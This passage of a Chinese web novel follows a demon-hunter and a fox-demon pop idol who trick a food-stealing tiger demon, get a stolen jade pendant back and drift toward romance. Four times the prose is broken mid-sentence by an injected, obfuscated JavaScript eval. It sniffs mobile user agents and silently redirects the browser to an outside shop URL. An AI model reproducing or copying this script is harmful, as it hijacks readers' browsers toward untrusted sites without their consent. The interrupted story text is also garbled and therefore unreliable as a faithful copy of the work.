哦,原来是定情信物啊。助理姐姐点点头,顺便把八卦传遍了整个剧组。 祝青由忧心忡忡,镇妖佩作为镇山之宝,万一落入有心之人手中,恐怕会引起严重后果。师母一直没回消息,也不知是没信号还是在家气晕了。 她正愁着,白茫倒是化完妆了,施施然地飘到她面前,展示自己要用来征服世界的美色。 “邪恶的梦女粉,就这样拜倒在本大王的狐狸尾巴下吧。”他恶狠狠地想,“等你完全被我迷住,心甘情愿地献上宝贝为我解开禁锢,我将毫不留情地抽尾巴转身而去,独留你悔恨为什么当初不对我好一点。” 其他人见他的神色阴沉狠厉,还以为是顶流占有欲大爆发,不喜欢自己的经纪人兼地下情人和其他人走太近,纷纷识趣地退下散开了。 这是一部古装电影,白茫演的是风流不羁的少年贵族,妆造华美繁琐。祝青由一抬头,就看见白茫花枝招展地站在自己面前,身上堆叠得恰到好处的金银饰品衬托得他熠熠生辉。 “哇哦。”祝青由惊叹一声。 白茫美滋滋地等着这个小粉丝狂吹自己的彩虹屁,却听见她嘴里冒出了一个奇怪的问题:“给动物化妆算不算一种虐待行为?” 祝青由在某本书中看到过,似乎让动物穿上衣服带上各类首饰只是满足了人类的癖好,对于动物来说并不愉快。她得知白茫真身是只狐狸之后,就很难不联想到动物权益保护法。 “你不把我变回原形就不算。”白茫警告她,不许在电影拍摄期间动手脚,否则成步堂来了都救不她。 “请对免费提供灵力助你化形的契主客气一点。”祝青由正色道,“虽然法理上来讲,我确实是该赔你一点误工费,但是从情理上来看,你又何尝不是耽误了我的降妖大业呢?” “我当时只是要回头拿我的外卖,谁知……”白茫没得到想要的赞美,还得气哼哼地为自己申辩,“差点忘了,你还得赔我一顿美味外卖!” 祝青由瞪大了眼睛:“别不讲理,我已经把我仅有的四百三十二块五都给你了!别说是一顿肯德基了,你就是急头白脸把麦当劳必胜客汉堡王一次性全吃了都绰绰有余!” “那是用来补偿误工费的部分款项!你甚至剥夺了我的人身自由,所以还得算一笔精神损失费!” “……@%#” 两个幼稚鬼就这样莫名其妙吵了起来。等到工作人员进来的时候,双方都黑着脸不说话。 很快,顶流白茫疑似分手的消息又传遍了整剧组。 电影一拍就从大清早拍到了下午,白茫作为男主角更是一口水都没喝上。 他拿到手机,想着祝青由人生地不熟的,多半也没饭吃,正考虑着要不要不计前嫌地给这个坏女人顺便点个饭,就看到祝青由提着俩盒饭过来了,那件朴素的运动服上还有几个和龙套们争抢时留下的脚印。 饥肠辘辘的他些许感动,一边吃盒饭一边嘴硬:“看在你做经纪人很有眼色的份上,我就免了你的债务吧。” “哼,懒得和你计较。”祝青由和他一起在角落扒拉盒饭,“只不过是有责任心的饲主不会忘记喂养宠物。” 一个大型剧组往往有上百号人参与,但为了节省经费,出外景的时候精简了不少人员。祝青由在白茫拍戏的时候几乎问了一个遍,依旧没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372619|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有找到镇妖佩的线索。 “找不到镇妖佩,你想再做大明星,就只能一直和我绑一块了。”祝青由眉头紧皱。 白茫吃饱饭后心很大:“绑一块就绑一块呗,我刚好也差个经纪人。你只需要鞍前马后把我伺候好了就行。” “哼。” 众人见他俩又挤在一块吃饭聊天,只当是两人又和好了,纷纷摇头感慨:此女手段不简单,就这样把娱乐圈内出名的烫手山芋玩弄于股掌之中。 “你说,如果剧组内的人都没看见镇妖佩的话,有没有可能是外面的人拿走了。”祝青由咬着一次性筷子思考。 “不可能,剧组管理很严的,别看围栏只圈了这么一块地方,其实围栏边上普通人也很难靠近。” “别吹牛,我昨天送外卖的时候就过来了……” 提起外卖,两人目光一对,异口同声道:“那只虎妖!” 它当时虽然逃走了,但是在他们走后又重新杀个回马枪也不是不可能的事情。凡人可能不懂镇妖佩的珍贵,但妖怪却是能感受到它散发出的灵气与威压的。 她眉头皱得更紧了:“此妖实力非凡,如今又拿到了镇妖佩,简直如虎添翼。” “它很强吗?”白茫一脸疑惑,“没感觉到。” “看着确实是一般,但若非是百年大妖,又怎么会让我在高铁站被阵法反噬?” 白茫犹豫了一下,还是说了:“其实我今年刚好一百二十岁。” 祝青由脑袋嗡了一下,蹭的一下站起来拿出自己的刹海罗盘。 果然,白茫妖力被封印了之后,罗盘就恢复了正常,此刻清楚地指向虎妖的所在之地。 “居然是你!”祝青由惊呼出声,这段时间降妖中出现的异常现象全部都有了解释。 她只盯着虎妖,全然没想过这段时间内文蓝镇多了一个从外面来的大妖。 “你真没犯戒伤人过?”祝青由眯起眼睛。 妖类生性轻浮好动,很难如人类一般潜心修炼,因此他们往往更偏好通过邪门歪道来修行,最多的,就是通过吃人来滋补妖丹。降妖师的存在,就是为了在这群恶妖手下保护手无缚妖之力的普通人。 白茫妖力之强,能在轻描淡写之间覆盖整个村镇,在百年大妖之中也极为少见。若只是单纯依靠天地灵气,恐怕不太可能。 “我以前也很弱啊。”白茫两手一摊,“自从我在内娱找了一份工作出道当爱豆,莫名其妙就变得特别强了。” 祝青由心下了然。人心的愿念可以滋养妖力,正如同当年蛇妖冒充真龙受供奉一样,很多妖怪都会想方设法让人类崇拜自己,以此增长妖气。 对此,有些妖怪选择了出马,而有些妖怪选择了出道。 白茫作为顶流,被诸多粉丝喜爱,自然得到了源源不断的愿念供给,也变得额外强大。 真是嫉妒这只好命狐狸啊。祝青由想起自己在深山被师母没日没夜的特训才换得一身本领,心中涌起的复杂心情犹如衡水中学的学生看见小众赛道上清北的特招生。 5. 第五章 “走,我们去找那只虎妖。”祝青由切换战斗形态准备冲锋。 “走不了,我等下还有几场夜戏要拍。”白茫生动演绎什么叫做人在职场身不由己。 “那我自己去。”祝青由打算新仇旧恨一起报了,此刻心中义愤难捺。 “你也不许去,你走了我怎么维持人形?”白茫把盒饭一放,习惯性等别人来收拾。 一想到高额的误工费祝青由头都大了,叹了口气,把自己吃完的盒饭放在了白茫面前。 “?” “我领盒饭,你去收拾。”祝青由觉得自己很公平。 “你见过哪个经纪人让明星自己收拾盒饭的?”顶流白茫大牌小耍。 “停停停,你好像还没给过我工资吧。”祝青由摆摆手,“暂时不支持先用后付哈,劳务关系不成立。” “我们还是先来谈谈镇妖佩的事情吧。”白茫转移话题,“我觉得不如守株待兔,我们点几个外卖骗他过来会不会方便一点。” 祝青由同意这个看法,但她身上仅有的四百三十二块五都赔给了白茫,此时再点外卖似乎有些囊中羞涩。 于是她厚颜无耻地向白茫伸出了手:“老板,我要预支一点工资。” “那你先去把碗筷收了。”白茫优雅地展示自己的外卖平台至尊黑金专卡,淡淡地吩咐道。 “得令。”祝青由从善如流,站起身把盒饭扔进了十米远的垃圾桶里。 白茫出手阔绰,指尖律动几下唰唰唰就下单了一批外卖,如果有骑手因嫌弃地理位置偏远不愿配送的,他直接大手一挥洒了几百红包过去。 钱给够了,人干活的劲头自然足,没一会儿功夫,剧组塌陷的那一处围栏附近就塞满了各个不同品牌的外卖袋子。花里胡哨的,很鲜艳,也很惹眼。 外卖骑手们笑得谄媚:“老板你有啥想吃的尽管点,我第一时间给您送来,这些傻叉保安根本拦不住我。” 赶来的制片助理小姐姐欲哭无泪:“白老师你要是对我们剧组餐标不满意的话可以和我反映的,不需要用这种方式来抗议。” 确立了劳务关系的经纪人祝青由连忙解释一番把她送走了:“没有没有,我们很满意,白茫老师只是单纯的钱多手痒而已。” 下单的外卖陆陆续续都到了,想找的虎妖却一直杳杳无踪。刹海罗盘的指针时不时轻颤,想来这个虎妖还在不断变化位置,在村镇之中四处觅食。 “你下单过肯德基没有?”祝青由突然想到这件事。 “没有。他已经因为肯德基在你手上栽了两次,总不会上钩第三次吧。” “你怎知他不是一只蠢老虎呢?”祝青由眯眼沉思。 “行。”白茫大手一挥,直接买下了世界五百强企业文蓝镇分店当日的全部库存。 “这也太浪费了。”祝青由瞪大了眼睛。非洲狐狸还在挨饿呢,中国狐狸刚过上几年好日子,就把爱惜粮食勤俭节约的传统美德丢了,真是一代不如一代! “没事,这些都从你下个月工资里面扣。”臭狐狸尽显资本家丑恶嘴脸。 祝青由正有些悲愤,但一想到自己拿到镇妖佩就回山里了,最多就只有三天实习工资,就算扣光了也没事,也便释然了。 半小时后,远处地平线上缓缓出现了一座山一样的炸鸡盒子堆。 白茫和祝青由从围墙的洞里探出个脑袋来,看着被压在炸鸡盒子山下的外卖小哥,正面色惨白满头大汗地向前移动。 “真不敢相信这么多外卖居然只让一个人送。”就连白茫都有点良心发现,大叹资本家压榨之狠了。① “这么重压在身上都没事,他真的只是一个凡人,而不是什么骡子成精吗?”祝青由陷入了职业性思索。 两百米、一百五十米、一百米……肯德基骑手越靠越近,即将要把外卖送到终点了,祝青由却是连一根虎毛都没看见。 难道我们真的想错了?她叹了口气,已经在思考刚吃过盒饭该怎么消化这些炸鸡和外卖了。 就在这时,一个熟悉的声音从半空中响起:“今天也不是星期四,谁给本大爷点了这么多肯德基?” 身穿皮衣的黄毛青年从天而降,得意地一屁股坐在炸鸡盒顶上。 外卖小哥一时支撑不住,摔倒在地上,生无可恋地打电话:“老板,我又双叒看见老虎了。对,我是很累,但是真的不是错觉。” 黄毛青年对着眼冒金星的外卖小哥摇了摇食指:“不对,就是错觉。因为本大爷还没化出原形哈哈哈哈哈。” “蠢蛋虎妖,还不快束手就擒!”祝青由跳出来,勇敢地将外卖小哥拽出来护在了身后。 妖力尽失的白茫躲在围栏内,冲着她摆摆手:“别走太远,等下就要到我的拍摄戏份了。” 祝青由闻言后退了几步,却被虎妖错认成了害怕:“哈哈哈,上次还不清楚本大爷的厉……” 他话还没说完,祝青由的掌风就已经扇在了他的脸上:“废话少说,快把我的镇妖佩还给我!” 虎妖嘴角含血,但不想失了自己百兽之王的威严,非要在陌生外卖小哥面前逞强。他举起挂在胸口当装饰的那块玉佩炫耀:“什么你的镇妖佩,本大王捡到了就是我的了!” 祝青由勃然大怒,眼里燃起金粉色的复仇火焰,一个粉色的阵法从她脚底张开,势如破竹般向虎妖袭去。 白茫拿出手机,给外卖小哥打赏了五百块钱:“快回去休息吧,你就是累出幻觉了。” 外卖小哥只花了0秒钟就相信了眼前的什么妖怪啊什么火焰啊都是假的,只有五百块是真的,一溜烟地从地上爬起来,走了。 经过前几次的交锋,虎妖已经完全认清了自己不是祝青由的对手,侥幸逃脱只不过是场上还有白茫这个始料未及的变数。 如今白茫已经明显和祝青由站在了一条战线上,双方实力悬殊,再加上围观战局的路人也已离开,实在是没有挣扎的必要了。 “停停停,等一下。”虎妖伸出一只手比了暂停的手势。 祝青由停下攻势,想看看对方还有什么招要使。 “你们一个宗印派第七代传人,一个百年修行的大妖,欺负我一只小老虎,实在是卑鄙可恶。”虎妖深刻鄙夷了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372620|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白茫这种和降妖师沆瀣一气的妖奸,“我知道今日逃不过,但是本大爷是不会轻易认输的,就让你们见识一下本大爷的绝招好了。” 祝青由眯起眼睛,一时不敢轻举妄动,只是用灵力悄悄在这四周布下暗阵,避免到时候动静太大引来了剧组的人。 只见虎妖深吸一口气,拼尽全力大喊一声:“救命啊——有人虐猫啊——!!!” 这一嗓子虽然不及前日的虎啸,却也蕴含了几分妖力,方圆五百米的人都听得清清楚楚。 制片助理小姐姐是最先赶来的,她蹬着高跟鞋,居然飞快地攀过了围墙,心急火燎地过来了:“天啊,白老师,祝老师,你们在干什么啊?不会是在虐猫吧?” 祝青由定眼一看,哪还有什么黄毛青年的踪迹,他已经恢复了原身,还把自己缩小了十倍不止,蜷缩在炸鸡盒子山上,显得弱小无助又贪吃。 “好可爱的虎斑猫!”制片助理小姐姐闪着星星眼,“谁会忍心欺负这样的小精灵。” 祝青由无语极了:谁家虎斑猫脑门上有一个白色的“王”字啊!这是老虎啊缩小版的老虎啊! “不要在这里吃这些垃圾食品了,人家很小气的,宁可浪费食物,也舍不得给你这样的小可爱吃。”制片助理小姐姐抱着“小猫咪”,意有所指地往二人身上瞟了一眼,“跟姐姐回家吧,姐姐赚钱养你。” 祝青由百口莫辩;那个是国家二级保护动物啊,你养他是犯法的啊! 剧组里听到动静的其他人也慢慢赶过来了: “是谁喊的虐猫?我们剧组里不许出现这样的败类!” “好像是白茫诶,他和他的那个经纪人一直鬼鬼祟祟地呆在这个角落里不知道干什么。” “我看这只猫也没受伤,可能只是因为偷外卖被打了几下吧。” “小猫只是肚子饿了而已,又做错了什么,白老师帅是帅了点,做人也太没爱心了吧……” “嘘嘘嘘,小点声。” “……” 虎妖在小姐姐怀里嘤嘤嘤地哼唧了几声,差点没夹住,打了个饱嗝,转头看着被千夫所指灰头土脸的二人,偷偷露出了得意而诡诈的笑容。 眼尖的白茫发现了:“制片人你看它啊,你快看呀!” 制片助理姐姐一低头,小家伙又露出了可爱无辜的神情,甚至在她怀里蛄蛹着翻了个肚皮。 “看到了,它确实很可爱。”助理姐姐木着一张脸,横眉冷对两个虐猫嫌疑犯。 “姐姐,你看它脖子上好像挂着一块玉佩……”祝青由试图曲线救国要回自己的镇妖佩。 助理姐姐见小猫咪一直死死抱着不撒手,猜测道:“这大概是它之前的主人留下的吧,真是可怜的小猫咪,是找不到家了吗……嘬嘬嘬真可爱……” 祝青由只能绝望地看着自己的宝贝被仇人抱在怀里翩然而去。 白茫走到她身边,痛不欲生:“我的清白,我的名声,我的工作……呃呃啊啊……” “你放心,这些迟早都会回来的。”祝青由铿锵有力道,“臭老虎,和我玩阴的,我将奉陪到底!” 6. 第六章 “健康长寿,一刀无忧!” “传扬古法噶蛋技巧,祖传独门秘法骟猫!” “小猫老往外跑怎么办,多半是废了,快用小菊花爸爸刻刀,一刀下去治标治本,让你的小猫赢在起跑线上!” 一大清早的,祝青由就在制片助理姐姐门前疯狂纷发宠物绝育手术广告,一片片宣传纸在灵力的作用下,飘进门缝,落在了制片助理面前。 制片助理推开门,映入眼帘的就是祝青由那张真挚动人的脸。她今天还特地带上了一副无镜片黑框眼睛,显得高智又专业。 “姐姐,”祝青由露出八颗牙齿展示职业笑容,“您一定是误会我们白老师了。” “哦?”制片助理正低头仔细研读手上的广告,她这几天正因为新收养的小猫不仅乱跑还四处搞破坏而烦恼。 “我们白茫老师一直非常喜欢小动物,”这不废话,他自己就是一只小动物,“前几天他只是担心小猫咪摄入太多高油高盐食物不好,才加以阻止,没想到引起了一些误会。” 制片助理挑起眉毛:“是什么样的行为会让人误会他要虐猫?” 祝青由面不改色保持微笑:“是这样的,白茫老师作为很有社会责任感的文娱工作者,一直坚持推广TNR理念①,这里作为偏远乡镇,绝育意识还不够普及,误把送去噶蛋当做潜在虐猫了。” 制片助理点点头,绝育后放归确实是一种救助方式,只是了解的人比较少,也很容易造成误会。 祝青由再接再厉:“为了表示对您收养猫咪的感谢,白茫老师已经自费联系了一家古法噶蛋专业户上门噶蛋,让小猫在舒适的环境里和蛋蛋告别,有效减缓压力。” 制片助理想了想觉得不错,但想起网传一些聪明猫咪因为绝育记恨主人的事,便提议说:“能不能你来扮演抢走猫咪的坏人,我拼死抵抗却被打倒在地,等事成后再来接走它。” 这正中祝青由下怀。“没问题!”她狞笑着走进房间,一眼就看见了正咬着桌腿疯狂磨牙的“虎斑猫”。 虎妖听见动静,还以为是又有人来给自己送饭了,傻乎乎地抬起头,看到的却是降妖师步步逼近的脸。 “你你你,你想要干什么!”他弓背炸毛,步步后退,用肢体语言表达威胁,“你要当着别人的面殴打我这只可爱的小猫咪吗?” “小猫乖,来和姐姐玩……”祝青由咬牙切齿地笑着,拿出一根逗猫棒,但那分明就是绑了根毛线的桃木剑。 “救救我救救我救救我!”虎妖连滚带爬地扑向制片助理的脚边,吓得差点夹不住喵喵音。 “哪里来的坏人!不要抢走我的小猫咪!” 虎妖以为自己有救了,正欣喜若狂,却只见祝青由还没靠近,制片助理小姐姐就非常做作地喷出一口番茄汁,然后单手扶额晕倒在地上,再也没有了动静。 好浮夸的演技……祝青由暗自腹诽,幸亏做的是幕后工作,不然这个电影铁定血扑。 虎妖傻眼了:“天杀的降妖师,你不是人!我不过偷了几份外卖,你居然随随便便杀死一个无辜的凡人!我要和你拼了啊啊啊!” 他正想解脱封印显出妖身拼死一搏,就被祝青由一把捏住后颈提了起来。 “别挣扎了,”她附在他耳边悄悄地说,“我花了一天的时间在整个剧组布下了缜密的阵网。你不是喜欢当猫吗,本座就让你当个够。” 她把虎妖关进提前准备好的笼子里,却看它从缝隙里拼命伸出爪子对着地上的助理姐姐疯狂比划,凄惨的喵喵叫中大有要与祝青由同归于尽的气势,不由得一阵无语: 蠢老虎不会连这么浮夸的演技都相信了吧。 祝青由提着猫笼回到房间,白茫和一个围着血迹斑斑围裙的男人已经等着了。 “你知道什么叫做古法噶蛋吗?”祝青由嬉皮笑脸地向笼中虎妖展示广告传单,“无麻药,无缝合,纯绿色,够健康。杨师傅在畜牧站骟了二十年的猪,手比外科医生稳。” 虎妖的心比冬天冷。 一旁的白茫也蹲下来唱红脸,和颜悦色道:“快把那块玉佩交出来吧,我可以请你吃肯德基,不然你就要眼睁睁地看着自己成为古法太监了。” 虎妖闻言反而攥紧了脖子上的玉佩,恶狠狠道:“古法就古法吧,本大王绝不会向你们这些心狠手辣的邪恶势力低头的。” 祝青由忍无可忍,直接伸手进猫笼想要把玉佩拿出来,不料虎妖死命挣扎,蜷缩在笼子深处不肯出来,牢牢地将玉佩护在屁股底下。 “我来。”白茫提起笼子倒过来上下晃动,笼内小虎爪死死勾住铁栏不肯撒手,居然也没掉出来。若是此情此景被其他人看见,怕是真要坐实白茫虐猫的罪名了。 “这猫真是比两百斤大肥猪还倔啊。”有着丰富基层工作经验的杨师傅不禁感慨道。 当然啦,他原身可是只五百斤的大老虎呢,二点五倍的体重,二点五倍的倔强,二百五的智商。 虎妖在笼子里头昏眼花:“降妖师你草菅人命猫命老虎命,我做妖做鬼做太监都不会放过你的,哕哇哇哇……”虎妖吐完便晕了过去。 “他这话是什么意思?”白茫没搞懂前因。 祝青由从晕倒的虎妖怀里扒拉出自己的镇妖佩,解释道:“助理姐姐装死让我带他去绝育,结果他以为她真死了。真是一只蠢老虎啊,难怪能因为肯德基连续上钩三次。” 妖界义务教育普及程度堪忧! “她演技这么好的吗?”白茫惊呼,“干幕后工作真是可惜了。” “……” 杨师傅耳背,听不见几人的议论,见猫已经失去了反抗能力,便顺手捞起来手起刀落收割了两粒小蛋。这活比骟猪轻松,工钱还比骟猪高,下次有机会他还接单。 白茫啧啧有声:“太残忍了,真是一场由肯德基引发的血案,等他醒过来之后会不会崩溃啊。” 祝青由愉快地挥手告别了杨师傅:“总得给制片助理姐姐一个交代吧,不然显得我俩在撒谎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372621|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚好也送这只虎妖进城过上好日子,哪有城里猫不噶蛋的。” 半小时后,虎妖悠悠转醒,摸了摸自己的猫屁股,在哀嚎之前先听到了助理姐姐的假哭声:“呜呜呜我的小宝贝啊,妈妈刚刚本来已经上天堂了,但是天使和我说你用两个蛋蛋换我回到人间,妈妈就活过来了。” 原来是这样啊……虎妖脸上浮现出淡淡的笑容,虽然本大爷失去了一些东西,但总体来说还是很值得的。 送别了一人一猫,白茫不禁有些好奇;“就这样让一个凡人把妖怪当宠物养,没关系吗?” “虽然被噶蛋的只是他的化身而非真实妖身,但也足以让他元气大伤很久了。在他努力修炼长回来之前,他应该是没办法摆脱小猫咪的样子了。他虽然四处偷外卖,但也不曾故意伤人,本座就先放过他一码吧。” “那他万一突然性情大变了呢,”白茫凉凉地说,“我们妖族可是最自由散漫反复无常的。” 祝青由狡黠一笑:“我在他昏过去的时候偷偷在他身上留了阵引,一旦他暴起伤人,就会马上遭受反噬,轻则散去全部修为成为一只普通老虎,重则当场五雷轰顶毙命。” “你好聪明,”白茫赞叹道,“我要是人类一定会夸你几句,可惜我是一只妖怪,你这样心狠手辣的降妖师还是越少越好。镇妖佩已经到手了,你快把妖力还我,我们好聚好散吧。” “不急,容我来研究一下它的用法。” 祝青由自诩天才降妖师,但和白茫两个人坐在地上抓耳挠腮了半天,也没搞懂这个镇妖佩是怎么个用法。 她试着对其注入灵力,也试着在它四周画上催动的阵法,甚至模拟当天的场景拿着玉佩猛敲白茫的脑袋,镇妖佩都丝毫没有回应。 “停停停,”白茫龇牙咧嘴地制止了她对自己的暴力行为,“再这样我真得告你虐待小动物了。” “你现在还是人形,你最多只能告我暴力伤人,可你连轻微伤都达不到,所以我将无罪释放。”祝青由对着他摇了摇食指。 白茫偷偷比了个中指,他就知道降妖师没有一个好东西。 “事已至此我们先去吃饭吧。”白茫催她放下手中的玉佩。前几天点的外卖还有好多囤在冰箱里,祝青由舍不得扔掉,分给其他人一部分之后只能由他们俩慢慢消化。 “你不是急着恢复妖力嘛,我再研究一下。”祝青由反复摩挲玉佩,试图找出其中的门道。 白茫目光移向远处:“我是很想早点一拍两散各走各路的,不过要是某些粉丝想要夹带私货,假借研究之名和她心心念念的爱豆多相处几日,我也是可以忍受的。” “你放心好了!”祝青由拍拍胸脯义正言辞地保证,“我绝对不是那种厚颜无耻没有分寸的私生饭,我一定会和爱豆保持距离的,更何况我已经脱粉了。” “什么?”白茫破防了,“坏女人!你什么时候脱粉的!你的爱怎么这么不坚定,我最讨厌这种朝三暮四的人了,你根本就不配做我的粉丝!” 7. 第七章 祝青由对白茫忽如其来的脾气感到莫名其妙,但还是一脸遗憾地解释说:“自从上次在高铁站颜面尽失,我已经尽量避免想起以前喜欢过你这件事了。”相关的回忆真是一想起来就脚趾抓地呀。 “哼。”白茫很不满意。我才是那场意外的受害者呢,怎么轮到你来嫌弃了。 “说起来这件事都怪你,”祝青由长吁短叹,“谁能想到你打了个喷嚏就让阵法内灵力妖力大失衡,害得我就这样被反噬了。” “怪我?这难道不应该怪某些人学艺不精?如果把用来追星的时间用来好好修炼,也不至于做出来的阵法这么简陋。哦对,也不会管自己叫什么顶、流、白、茫、的、唯、一、正、牌、女、友了。” 被人当众揭穿黑历史,祝青由气得像烧开了的水壶:“那还不是因为你这个狐狸精拿脸勾引我!就是因为天天在山里修炼,没得玩才会把喜欢你当乐趣。要是早知道你根本不是我心中的时尚帅哥,只是一只脑子有问题的狐狸,我才不会喜欢你呢!” 白茫伤心了,但还是嘴硬:“哼,谁管你喜欢谁,快把玉佩修好,等我恢复妖力,就再也不想见到你了。” “你自己修去吧!”祝青由把玉佩摔在地上,怒气冲冲地走了。 白茫假装不在意地捡起玉佩,偷偷藏了起来。 到了晚上的时候,白茫结束了一天的拍摄,依然没看到祝青由的身影。但自己依然保持着人形,她应该没走远,还在方圆一百米的范围内。 白茫正纠结着要不要去找她,却见祝青由提着外卖袋子走过来了。她一句话不说,只是放下袋子,扭头又走了。 他打开袋子,发现里面是热的。这几天他们俩天天吃冰箱里的存货,剧组又没有厨房可以加热,只能默默地啃着冰碴子,告诉自己大夏天吃冷饭其实是一件很养生的事情。 祝青由应当是费了一番功夫,才找到了加热饭菜的地方。白茫独自吃着热乎乎的饭菜,默默地想着。 剧组里的其他人都很有默契地以他为中心自动形成一个空白的圈:白茫老师这几天总是时不时走神,想来是小情侣之间发生什么事了,反正电影也快拍完了,还是不要多管闲事为好,免得撞枪口上。 第二天,祝青由醒来的时候,习惯性往床边踢了一脚,但这次她却没能触碰到熟悉的温度。 她一下惊坐起来,脱下眼罩耳塞,却发现房间里居然摆满了各式各样粉色的花。 “啊、啊啾——”深浅不一的粉色看得她眼花缭乱,不由得打了个喷嚏。但是心情却莫名其妙好上了几分,她最喜欢粉红色了,这也是为什么她要把自己的阵法和灵力调成这个颜色。 她在花丛中玩了一会儿,洗漱完毕后,习惯性去冰箱里找点吃的。 一打开冰箱门,却发现之前堆积如山的囤货已经不知所踪,空空如也的冰箱内只有一张描了金边的玫瑰色贺卡,上面还散发着淡淡的香味: “去看衣柜。” 字迹丑丑的,一看就知道是狐狸爪子写的。难怪昨天晚上他在床上上蹿下跳闹出这么大的动静,祝青由只以为对方是冷战期间故意惹她生气说话,戴上眼罩和耳塞之后就不理他了。 她睡前会把灵力收起来,白茫整这么一出真是不容易。 祝青由拎着小卡片,打开衣柜的门,里面是一件闪着金丝的黑色曳地长裙,做工精细,内敛奢华,贵气又不失俏丽,一看就知道价值不菲。 她作为土生土长的山里人,哪里见过这样阵仗,感觉自己就像是误入偶像剧的女主。 她换好衣服,幸好昨天刚洗过头,黑瀑般的头发自然倾泻下来,鲜活年轻的一张脸无需任何妆点便胜过世上一切颜色。 屋内粉色的花瓣一直蔓延到门外,随着花瓣的印记一路走到这栋楼的露台上,发现此处已被装饰成了上流社会的晚宴客厅。几个身着燕尾服的青年男女正在角落边演奏悠扬典雅的古典乐,一个管家装扮的大叔彬彬有礼地走来:“小姐,少爷已经等候多时了。” 露台的最中央,鲜花和礼物团簇的餐桌上摆满了各式各样的精美早餐,一个五官极其精致俊美的白毛帅哥身着正装,手持刀叉,朝她投来惊鸿一瞥。 “哇哦……”虽然这几天和白茫朝夕相对,祝青由已经对这张脸的杀伤力增长出不少的免疫来,但此刻还是感觉自己的心脏被猛然冲击了一下,热血像煮开了一样往脑袋上沸腾翻涌。 今天的白茫收起了往日里的随性自在,举手投足间皆是贵族般的优雅。从头到脚更是精心打扮过,看似休闲的一身装扮里实则用尽了剧组妆造师二十年的功力绝学。 而撩发时不经意间露出的爆闪耳钉,实际上是天还没亮时就各种测试角度,确保能将自己白发优势发挥到最大,又能保证画面着光点刚好落在自己脸上的产物。 祝青由看得迷迷瞪瞪的,心中对这只狐狸生出几分别样的陌生感,甚至都不能行动自然地走过去和他一起吃早餐了。 师娘咧,恁咋没教过俺面对这种情况该咋办咧。 她还在迷糊呢,白茫在看见祝青由的那一刻,没帅到三十秒就有点绷不住人设了:“你怎么还穿着这件运动服!” 祝青由心里踏实了,还是原来的配方,还是熟悉的味道。 她理直气壮地走过去,一屁股坐在他边上,开始狼吞虎咽地吃早餐:“这是我的道袍啊。我们降妖师不穿这个穿什么。” 谁家道袍长这样的啊!白茫听了直想摔盘子。 祝青由在虽然换上了那件衣柜里的礼服,但还是在外面披了一件自己的外套。这件老旧的运动服像是来自异世界的入侵者,将眼前高雅格调的场景击碎了个彻底。 “我们宗印派一向与时俱进,穿着电视剧里的传统道袍骑自行车四处跑根本不现实,还是这款好,上山下海都方便。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372622|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白茫吐槽:“穿这个谁能认得出来你是降妖师。” “喏,这是我们宗门的印记,在道上不管是人是妖,懂行的只要看到这个,都会给我三份薄面。”祝青由指着胸前一个类似于商标的东西介绍。 “……这款式的灵感是不是来自重点高中的校服?” “我还没说你呢,今天是不是从霸总文学里来了灵感?” “哼,”白茫鼻子朝天,“不过是因为某些脱粉小粉丝的特殊癖好,让本偶像想证明一下,成为时尚帅哥是一件轻而易举的事情,骗骗你们这些肤浅的人更是手到擒来。” “今天剧组很闲啊,居然还有时间帮你。”祝青由环顾四周,发现了好几个眼熟的面孔。 “电影差不多杀青了,他们可能误会了我要表白什么的,所以特别殷勤。”白茫挪开视线,“事先声明一下哈,我并没有那方面的意思,只是作为爱豆偶尔给粉丝提供一些福利是本职工作而已。” 远处,潜伏在暗地里的工作人员们悄咪咪地观察两人动静,暗自鼓劲:嫁给他,嫁给他,嫁给他…… “无事献殷勤,”祝青由眯起眼睛仔细端详了对方一阵子,看破真相般了然道,“放心好了,说不修玉佩了只是一时的气话,既然电影拍好了,有空就和我一起去山上找师母看看吧,她一定会有办法的。” 